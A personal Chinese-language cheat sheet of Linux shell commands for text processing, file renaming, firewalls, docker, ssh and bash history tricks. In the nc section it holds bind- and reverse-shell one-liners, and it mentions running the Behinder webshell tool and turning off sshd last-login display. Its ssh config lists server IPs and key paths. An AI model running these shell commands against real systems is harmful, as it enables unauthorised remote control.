对爱情的渴望,对知识的追求,对人类苦难不可遏制的同情,这三种纯洁而无比强烈的激情支配着我的一生。
# ls
1 2 #将下划线变为空格 ls | sed 's/_/ /g'
1 2 #以点为分割取第一部分 ls | cut -d "." -f 1
1 2 # 选取切割后的第二列到最后一列 ls | cut -d "_" -f 2 -
1 2 #对ls的输出结果添加前缀和后缀 ls | sed 's/^/Save_/' | sed 's/$/_In_Path/'
1 2 # 以点为分割,不包括最后一项 ls | cut -d '.' -f 1 -$(($(ls | head -n 1 | tr -dc '.' | wc -c)+1 )) | rev | cut -d '.' -f 2 - | rev
# cat
1 2 # cat 的结果中添加前缀和后缀cat 1.txt | sed 's/^/mv /g;s/$/ ..\/..\/..\/del_plg\//g'
1 2 # 删除文件前后所有的空格 cat 1. txt | sed 's/^[[:space:]]*//;s/[[:space:]]*$//'
1 2 cat 1.txt | cut -d '.' -f 2 | sed 's/^[[:space:]]*//'
1 2 cat 1.txt | awk ' {if ($0!="")print}'
1 2 cat 1.txt | xargs echo -n
1 2 cat 1.txt | sed '/^$/d' | sed 's/^[[:space:]]*//'
1 2 cat 1.txt | cut -d "_" -f 3- | awk '{print toupper(substr($0,1,1)) substr($0,2)}' | sed 's/^/Lateral_Penetration_/g'
1 2 # 将后缀改为.rule,去掉换行符,并cp到另外的目录 cat 1.txt | sed 's/.yaml//g;s/$/.rule/g;s/!/\\\\!/g' | xargs | sed 's/^/cp /g;s/$/ \/Users\/chentuo\/Public\/xxxxxx\/插件运营\/自动上传脚本\/威胁防护CI_CD加密\//g'
# for
1 2 # 批量压缩文件 for dir in $(ls -d */); do zip -r "${dir%/}.zip" "$dir";done
1 2 # 批量修改文件名,将点替换为- for file in *; do mv "$file" "${file//./_}"; done
1 2 # 仅保留文件名中的最后6个字符 for file in *; do new_file_name="${file:(-6)}";mv "$file" "$new_file_name";done
1 2 i=10000; for file in *; do mv "$file " "$i " .jpeg; i=$((i+1 )); done
1 2 3 # 批量增加前缀和删除前缀 for i in `ls` ; do mv "$i" "【前缀】$i" ;donefor i in `ls` ; do mv "$i" `echo "$i" | cut -d "】" -f 2 -`;done
1 2 # 生成自己需要的循环的内容 for i in {20000. .20130 };do echo '' >> 1.txt;done
# find
1 2 # 批量修改文件名,将空格替换为划线 find * -depth -name '* *' -execdir bash -c 'mv "$0" "${0// /-}"' "{}" \;
1 2 # 递归查找名为"here" 的文件夹,并打印其完整路径 find . -type d -name "here" -print
1 2 # 搜索当前目录下此文件,包括各级子目录 find . -name "filename.txt" -print
1 2 # 列出当前目录下的所有文件 find . -type f -exec echo {} \;
1 2 # 过滤当前目录下的./image文件夹,打印其他目录下的所有文件 find . -path ./image -prune -o -type f -exec echo {} \;
1 2 # 过滤多文件 find . \( -path ./image -o -path ./resource \) -prune -o -type f -exec echo {} \;
# rename
1 2 # 重命名文件将-用.替换 rename 's/-/./g' *
# du
# scp
1 2 3 4 5 6 7 8 9 10 11 12 13 # scp免密设置 - sudo vim ~/.ssh/config # 设置之后可以通过 ssh root@linux1 连接,并且免密 Host linux1 Hostname 1.117.52.219 User root Port 2121 IdentityFile /etc/ssh/chentuo_cloud.pem # 或者不设置 hostname,通过 ssh root@47.102.120.55 免密连接 Host 47.102.120.55 User root Port 22 IdentityFile ~/.ssh/aliyun_1106_rsa
# hash
1 2 # 计算sha256值 shasum -a 256 filename-1.txt
1 2 shasum -a 256 filename-1.txt | awk '{print toupper($0)}'
# jq
1 2 3 # json 格式标准化输出 cat 1.json | jq jq . 1.json
# curl
1 2 3 4 5 # curl如何走代理 curl --socks5 "127.0.0.1:7890" "http://httpbin.org/ip" # 查询某个ip的归属地 curl cip.cc/8.8.8.8
# tr
1 2 3 4 5 6 7 # 不打印消息拷贝 # windows cat ~/.ssh/id_ed25519.pub | clip # linux xclip -sel clip < ~/.ssh/id_ed25519.pub cat /lib64/libm.so.6 | xclip -sel clip
1 2 # mac cat 1.json | pbcopy
1 2 # mac tr -d '\n' < ~/.ssh/id_rsa.pub | pbcopy
# ps
1 2 # 查看当前运行了哪些服务 ps -ef | grep Linux
# conda
1 2 3 4 # 查看当前有哪些环境 conda env list # 新建一个python3.7的conda环境 conda create -n test python=3.8
1 2 3 # 激活环境与退出环境 conda activate test conda deactivate
# uname
1 2 3 4 # 查看当前核心版本号 uname -a # 查看当前内核版本 uname -r
# lsof
1 2 3 # 查看端口是否被占用 lsof -i:10086 lsof -i:10086 | grep -v PID | awk '{print $2}' | xargs kill -9
1 2 # 杀掉80端口的进程 lsof -i:10086 | awk '{print $2}' | grep -v 'PID' | uniq | xargs kill -9
# grep
1 2 # 排除某字段,取前几行、后几行 cat url.txt | cut -d ':' -f 2 | sed 's/\/\///g'| grep -v url | uniq | tail -n 10 | head -n 10 | xargs open
1 2 # 去掉空行与注释行 sudo cat /etc/sudoers | grep -v '#' | grep -v '^\s*$'
1 2 # 批量过滤 cat .bash_history | grep -v "#\|ls\|cd\|ll\|clear\|neofetch\|man\|sl"
1 2 3 # 过滤出 uncompression 字段的文件是哪个 grep -lH "uncompression" * grep -lH "人生困惑" *.md
# cp
1 2 # 复制多个具有相同规则的子文件夹中的内容到另外一个文件夹中 cp -r *Trojan/* ../test
# ln
1 2 3 4 5 # linux创建链接软命令,ln -s 源文件 目标文件 ln -s /usr/bin/whoami /usr/bin/n1h1l157 # -f命令的意思是强制执行,意味着如果不存在就执行创建,存在就执行覆盖掉 ln -sf /usr/bin/id /usr/bin/n1h1l157
# vim
1 2 # Linux所有行用vim进行前缀插入 :%s/^/Prefix
1 2 # Linux所有行用vim进行后缀插入 :%s/$/Suffix
1 2 3 # linux vim删除多行内容: 将光标移动到需要删除的行,按一下ESC键,确保退出编辑模式 在dd命令前面加上要删除的行数,如要删除第4 行以下的3 行,按下3 dd
# sed
1 2 # 添加行 sed -i '5i\ new line' deafult.txt
1 2 # 删除行 sed -i '5,7d' deafult.txt
1 2 # 查看行 sed -n '4,8p' deafult.txt
1 2 # 首行尾行都添加单引号 sed 's/^/"/;s/$/"/' deafult.txt
1 2 # 关闭最后登陆的日志 sed -i 's/#PrintLastLog yes/PrintLastLog no/g' /etc/ssh/sshd_config;systemctl restart sshd
1 2 # 开启最后登陆的日志 sed -i 's/PrintLastLog no/#PrintLastLog yes/g' /etc/ssh/sshd_config;systemctl restart sshd
1 2 # 开启网络传输日志 sed -i 's/#Banner none/Banner \/etc\/issue.net/g' /etc/ssh/sshd_config;systemctl restart sshd;echo -e "hellow\nworld" > /etc/issue.net
1 2 # 关闭网络传输日志 sed -i 's/Banner \/etc\/issue.net/#Banner none/g' /etc/ssh/sshd_config;systemctl restart sshd;echo > /etc/issue.net
1 2 # 关闭 logo 显示 修改 ~/.bashrc, 注释掉 neofetch
# awk
1 2 # awk打印具体列数 netstat -tunlp | grep 10086 | awk '{print $7}' | cut -d '/' -f 1
1 2 #删除第一列 ll | awk '{$1="";print $0}'
# history
1 2 # 过滤出10条最常用的命令 history | awk '{CMD[$2]++;count++;} END { for (a in CMD )print CMD[ a ]" " CMD[ a ]/count*100 "% " a }' | grep -v "./" | column -c3 -s " " -t |sort -nr | nl | head -n10
# nc
1 2 3 # nc测试本地端口是否开放 nc -zv localhost 10086 telnet 127.0.0.1
1 2 3 #nc通过终端聊天 nc -lvvp 4444 nc 127.0 .0 .1 4444
1 2 3 # 正向反弹shell 被控端:nc -lvp 4444 -e /bin/bash 控制端:nc 127.0 .0 .1 4444
1 2 3 # 反向反弹shell: 控制端:nc -lvp 4444 被控端:nc 127.0 .0 .1 4444 -e /bin/bash
1 2 3 # 反弹shell,在被控端输入信息,将被控端的信息全部导出到回显端 被控端:/bin/sh -i 2 >&1 | nc 127.0 .0 .1 4444 回显端:nc -lvp 4444
# firewalld
1 2 3 4 5 6 # 安装 yum install firewalld systemctl status firewalld systemctl restart firewalld systemctl stop firewalld systemctl disable firewalld
1 2 3 4 # 开启端口 firewall-cmd --zone=public --list -ports firewall-cmd --zone=public --add-port=10086 /tcp --permanent firewall-cmd --reload
1 2 3 4 # 关闭端口 firewall-cmd --zone=public --list -ports firewall-cmd --zone=public --remove-port=10086 /tcp --permanent firewall-cmd --reload
# nohup
1 2 # 有日志的后台输出 nohup java -jar Behinder.jar &
1 2 # 无日志的后台输出 nohup java -jar Behinder.jar >/dev/null 2 >&1 &
# docker
1 2 # 查询所有的容器,过滤出Exited状态的容器,列出容器ID,删除这些容器 docker rm `docker ps -a|grep Exited|awk '{print $1}'`
1 2 #删掉所有的docker镜像 docker rmi $(docker images -q)
# rpm
1 2 3 #查询当前安装的所有rpm包 rpm -qa rpm -qa | grep -i chrome
1 2 #查询httpd安装路径 rpm -ql 包全名
# tar
1 2 3 # 压缩、解压gz文件 tar -zcvf filename.tar.gz filename tar -zxvf filarename.tar.gz
1 2 3 # 压缩当前目录下全部内容、解压zip文件 zip -r filename.zip .
1 2 # 指定解压路径 tar -zxvf ../1. tar.gz -C ../
# iconv
1 2 # 获取归属地并编码为utf-8 curl http://whois.pconline.com.cn/ip.jsp -s | iconv -f gbk -t utf8 > /tmp/x ; vim /tmp/x +"d1" +"d1" +"wq";cat /tmp/x
# tail
1 2 # 排除第一行的日志 cat deafult.txt | tail -n +2
# lrzsz
1 2 3 4 5 # 比如xshell或者SecureCRT才可以使用,需要修改默认路径 yum install -y lrzsz.x86_64 # sz:将选定的文件发送(send)到本地机器 sz 1.tar.gz
1 # rz:运行该命令会弹出一个文件选择窗口,从本地选择文件上传到服务器(receive)
# EOF
1 2 3 4 # EOF 基本使用 cat > .. << EOF xxx EOF
1 2 3 4 5 6 7 # 直接在宿主机上执行命令 ssh -T root@10.255.200.72 'id' # 不产生交互式shell, 直接执行命令 ssh -T root@10.255.200.72 << 'EOF' whoami EOF
# iptables
1 2 3 4 5 # 查看是否安装 iptables -V # 安装 yum install iptables-services
1 2 3 4 5 # 查看防火墙的状态 systemctl status iptables.service systemctl stop iptables.service systemctl start iptables.service systemctl restart iptables.service
1 2 3 4 # 查询防火墙开放端口 iptables -L -n iptables --list -rules iptables -L -n --line-number
1 2 3 4 5 6 7 8 9 # 允许所有服务器访问指定端口 iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT # 保存iptables规则 service iptables save # 查看iptables的配置文件 cat /etc/sysconfig/iptables
1 2 # 将新增的规则放在iptables规则页的首处 iptables -I INPUT -p tcp --dport 111 -j ACCEPT
# crontab
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 编辑定时任务 crontab -e # 查看定时任务 crontab -l # “*”表示“任意值”,分别为 分、时、天、月、周 # 表示任务将在每个星期日的凌晨2点40分执行 “40 2 * * 0” # 每两天运行一次的任务,"*/2" 表示每隔两天 "* * */2 * *" # 任务将在每天凌晨3点执行 "0 3 * * *"
# ufw
1 2 3 4 5 6 7 # 开启关闭 ufw enable ufw status ufw status verbose ufw disable ufw allow 10086 ufw delete allow 10086
# proxychians4
1 2 3 4 5 # 查看使用的代理 cat /opt/homebrew/etc/proxychains.conf | tail -n 2 | grep -v "#" # 要使用brew的curl才可以 proxychains4 /opt/homebrew/Cellar/curl/8.0.1/bin/curl 127.0.0.1:8080
# export
1 2 3 4 5 # 设置代理 export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890 # 取消代理 unset http_proxy & unset https_proxy
# ˆliˆil
1 2 3 4 # ˆoldˆnew。假如我在查看 file1 后 接着想查看 file4,那么只要执行 ˆ1ˆ4: cat file1 ˆ1ˆ4 cat file4
1 2 3 4 # 有时候我们想不只替换一处,而是把上一条命令中的每处内容都替换掉。要实现这种效果,可以使用 !:gs/old/new cat file4.txt file5.txt !:gs/file/nnn cat nnn4.txt nnn5.txt
# !!
1 2 3 # !! 让我们以最快的方式重复执行上一条命令 id !!
1 2 3 4 # !! 经常与 sudo 联用,用来解决缺少权限的问题。例如: whoami sudo !! sudo whoami
1 2 3 4 5 6 7 # 利用 !foo 这种表示法允许我们执行以 foo 这三个字符打头的命令。Shell 将 以逆序的方式搜索历史命令列表,一旦与给定的开头字符匹配到,便予以执行该条命令。 !he help # 在 ! 后面除了可以跟一个字符串之外,也可以跟一个数字。这个数字代表历史 命令列表中的编号。当我们用 history 查看历史命令列表时,命令左边显示的 即是该行命令的编号。 history 5 !52
1 2 3 4 5 # 利用 !-2 ,我经常使用的一个场景是,先用文本编辑器编辑源代码,接着再编 译源代码。如果我需要再次编辑和编译,那么只要反复执行 !-2 即可。如此不 断循环。 nvim first.c gcc -o first first.c !-2 # 再编辑 !-2 # 再编译
# !$ 和!^
1 2 3 4 5 6 7 # !$,它允许我直接复用上一条命令的最后一位参数 mkdir videos cd !$ # 与最后一位参数相反,!ˆ 能够让我们引用上一条命令中最开头的参数 ls /usr/share/doc /usr/share/man cd !ˆ
1 2 3 # 要引用的是上一条命令的所有参数。 ls src code cp -r !*
1 2 3 # 对于引用上一条命令中的参数,我们甚至可以要求 Shell 精确到具体的第几个。 touch foo.txt bar.txt baz.txt cat !:2
1 2 3 # 引用从 m 到 n 的参数 touch foo.txt bar.txt baz.txt cat !:1 -2
1 2 3 4 # 引用从 n 到最后的参数 # 此处的 !:2 * 允许我将 hosts 和 hostname 同时打开进行编辑。 cat /etc/resolv.conf /etc/hosts /etc/hostname cat !:2 *
# !$
1 2 3 4 5 # :h 为修饰符,意味着截取路径的开头部分(head ) ls ~/Downloads/test/resource # !$:h可获取前一部分路径 cd !$:h cd ~/Downloads/test/
1 2 3 4 5 # 通过 :t 修饰符,我们可以引用路径的结尾部分(tail ) wget http://nginx.org/download/nginx-1.15.8.tar.gz # 经过 !$:t 引用后,我们的命令变成了 tar zxvf !$:t tar zxvf nginx-1.15.8.tar.gz
1 2 3 4 # 对于存在文件名的情形,可以利用 :r 修饰符来只引用文件名部分(这将排除掉扩展名)。例 unzip hello.zip cd !$:r # 这里的 !$:r 将 hello.zip 去掉扩展名,只保留 hello 部分。
1 2 3 4 5 # Shell 还支持将多个修饰符进行联用,在它们之间只需使用冒号分隔即可。例如: ls ~/Downloads/test/resource echo !$:t:u echo TRUETYPE # 先用 :t 引用了路径的结尾部分,然后又使用 :u 将其更改为了大写字母。
# Emacs —
1 2 3 # bash 和 zsh 两个都支持使用 set 指令来设置命令行编辑模式 set -o vi set -o emacs
1 2 3 4 5 6 # 在命令行输入一些字符 Ctrl + b 向左移动一个字符 Ctrl + f 往右移动一个字符 Ctrl + d 删除光标右边的字符 退格键 删除光标左边的字符 Ctrl + t 将光标左边的两个字符交换顺序
1 2 3 4 5 # 按键作用 Ctrl + a 将光标移到行首(最左边) Ctrl + e 将光标移到行尾(最右边) Ctrl + k 从光标处往右删除至行尾 Ctrl + u 从光标处向左删除至行首
# tree
1 2 3 4 5 # 只显示目录,不显示文件 tree -d -L 2 # 显示深度为2级 tree -L 2
# echo
1 2 # bash脚本中设置文本不换行 echo -n "gL2JqktKqFbkyUM4" > 111.txt
# CDPATH
1 2 3 4 5 # 利用$CDPATH ,我们能够将常用的目录保存起来,以便 cd 为我们直接转到这些目录 CDPATH=:~:~/Public/23:~/Public/ # 加到 $CDPATH 路径列表的目录为待导航的目标目录 的父目录 cd 22
# alias
1 2 3 4 5 6 7 8 # 设置别名,方便通过简易名称使用命令 alias ..='cd ..' alias ...='cd ../..' alias ....='cd ../../..' alias ls='ls --color=auto' alias l='ls -lah --color=auto' alias la='ls -AF --color=auto' alias ll='ls -lFh --color=auto'
# {}
1 2 3 4 5 # 备份文件,相当于 cp linpeas_linux_amd64 linpeas_linux_amd64.bak cp linpeas_linux_amd64{,.bak} # 压缩文件,相当于 tar -zcvf log.txt.tar.gz log.txt tar -zcvf linpeas_linux_amd64{.tar.gz,}
1 2 3 4 5 # 打印序列 echo {a..z} echo {01. .10 } echo {1. .9 ..2 } for i in {1. .9 ..2 };do echo $i;done | pbcopy
1 2 3 # 连用和嵌套 mkdir -p 2019 /{01. .12 }/{baby,photo} echo {{A..Z},{a..z},{0. .9 }}
# z.lua
1 2 3 # 快速路径切换工具 z.lua which lua lua5.1 lua5.2 lua5.3 git clone https://github.com/skywind3000/z.lua.git ~/.z.lua
1 2 3 4 5 # 添加到环境变量中 eval "$(lua ~/.z.lua/z.lua --init zsh)" # 在默认设置下,z.lua 将所有访问的路径都保存到了 ~/.zlua 文件中 z p
1 2 3 4 5 # -i:交互模式,如果有多个匹配结果的话,那么z.lua将展示一个列表 z -i p 2 : 24 /home/xx/tmp1 : 48 /home/xx/prj>
1 2 # -b:这个选项在深层次目录中跳转特别有用,它可以将我们快速带回某一级的父目录 z -b do
# HSTR
1 2 3 4 5 6 7 8 9 # ctrl + r 是自带的,但是没那么好用 # 命令行直接输入 hh 并按回车键 cd ~/cli xiaodong@codeland:~/cli$ hh • 下方向键或 Ctrl + n:向下移动一行 • 上方向键或 Ctrl + p:往上移动一行 • Ctrl + f:将命令添加到收藏夹 • Delete 键:删除命令,根据提示按 y 将确认删除
# paste
1 2 # 将两个文本文件按照行一一对应合并 paste -d ',' deafult1.txt deafult2.txt
# asciinema
1 2 3 # Asciinema 是一个命令行屏幕录制工具,可以帮助你记录并分享终端会话 # 安装 asciinema brew install asciinema
1 2 3 4 5 6 7 8 9 10 11 12 # 启动屏幕录制功能 asciinema rec # 停止录制 # 当你完成了终端会话录制后,可以按下 Ctrl+D 或输入 `exit ` 命令来停止录制 # 或者按回车上传到 asciinema.org 网站上临时存储 # 本地播放 cast 文件 asciinema play /var/folders/dt/4 tq856fn683_ytdsqbk5271c0000gn/T/tmp2n2mfpq1-ascii.cast # 上传到 Asciinema 官网上,并获取共享链接 asciinema upload /path/to/recording.cast
# bat
1 2 3 4 5 6 # Bat 是一个类似于 cat 命令的工具,可以显示带有语法高亮的文件内容。 # 安装 bat brew install bat # 查看文件内容:在终端中输入 `bat` 命令来查看文件内容。例如: bat /path/to/file.txt | less
1 2 3 4 5 # Bat 支持多种语言的语法高亮 bat -l python /path/to/file.py # 查看 bat 支持的语言 bat --list -languages
# systemctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # reboot 之后自启动的 docker 容器 # 编写 /etc/systemd/system/mrdoc.service cat > /etc/systemd/system/mrdoc.service << EOF [Unit] Description=Docker container for mrdoc Requires=docker.service After=docker.service [Service] Restart=always ExecStart=/usr/bin/docker start mrdoc ExecStop=/usr/bin/docker stop mrdoc [Install] WantedBy=multi-user.target EOF # 运行以下命令来重新加载 Systemd 配置,并启用服务 systemctl daemon-reload systemctl enable mrdoc.service # 运行以下命令来启动服务、停止、重起 mrdoc 服务 systemctl stop mrdoc.service systemctl restart mrdoc.service systemctl disable mrdoc.service
# hwclock
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 查看系统时钟 date # 查看硬件时钟的操作: hwclock --show clock --show # 设置硬件时钟的操作: hwclock --set --date="11/13/2017 09:26:00" clock --set --date="11/13/2017 09:26:00" # 硬件时钟与系统时钟同步: hwclock --hctosys clock --hctosys
# script
1 2 3 4 5 6 7 8 # 从2.txt文件中逐行读取内容,并将每一行的内容作为文件名创建文件 # !/bin/bash filename="2.txt" while IFS= read -r line do echo "$line" > "$line" echo "Created file: $line" done < "$filename"
# play
1 2 3 4 # 山羊logo 苹果logo neofetch --ascii_distro AIX neofetch --ascii_distro GNU neofetch --ascii_distro BSD
1 2 # 抽象字体 figlet N1h1l157.github.io
1 2 3 4 5 6 # 数字矩阵 cmatrix -a -s cmatrix -r cmatrix -m cmatrix -abBcfsmx -C red cmatrix -abcm -C green
1 2 # 龙 logo cowsay -f dragon-and-cow "n1h1l157"
1 2 # 图片变为终端显示 asciiview /Users/chentuo/Public/recourses/my_image/1.png
1 2 3 4 5 # 资源监视器 htop vtop gtop bashtop